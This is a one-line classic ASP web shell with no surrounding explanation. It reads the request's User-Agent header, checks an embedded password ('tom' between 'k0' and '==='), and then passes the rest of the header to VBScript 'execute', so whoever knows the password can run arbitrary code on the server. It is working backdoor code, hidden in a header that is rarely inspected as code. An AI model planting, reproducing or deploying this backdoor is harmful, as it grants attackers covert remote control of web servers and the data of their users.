<%uastr=Request.ServerVariables("HTTP_USER_AGENT"):pwd="tom":StartStrPos = Instr(uastr, "k0")+Len("k0")  :EndStrPos = Instr(uastr,"==="):Length = EndStrPos - StartStrPos:Res= Mid(uastr,StartStrPos,Length):if (pwd=Res) then:execute replace(uastr,"k0"+Res+"===",""):end if%>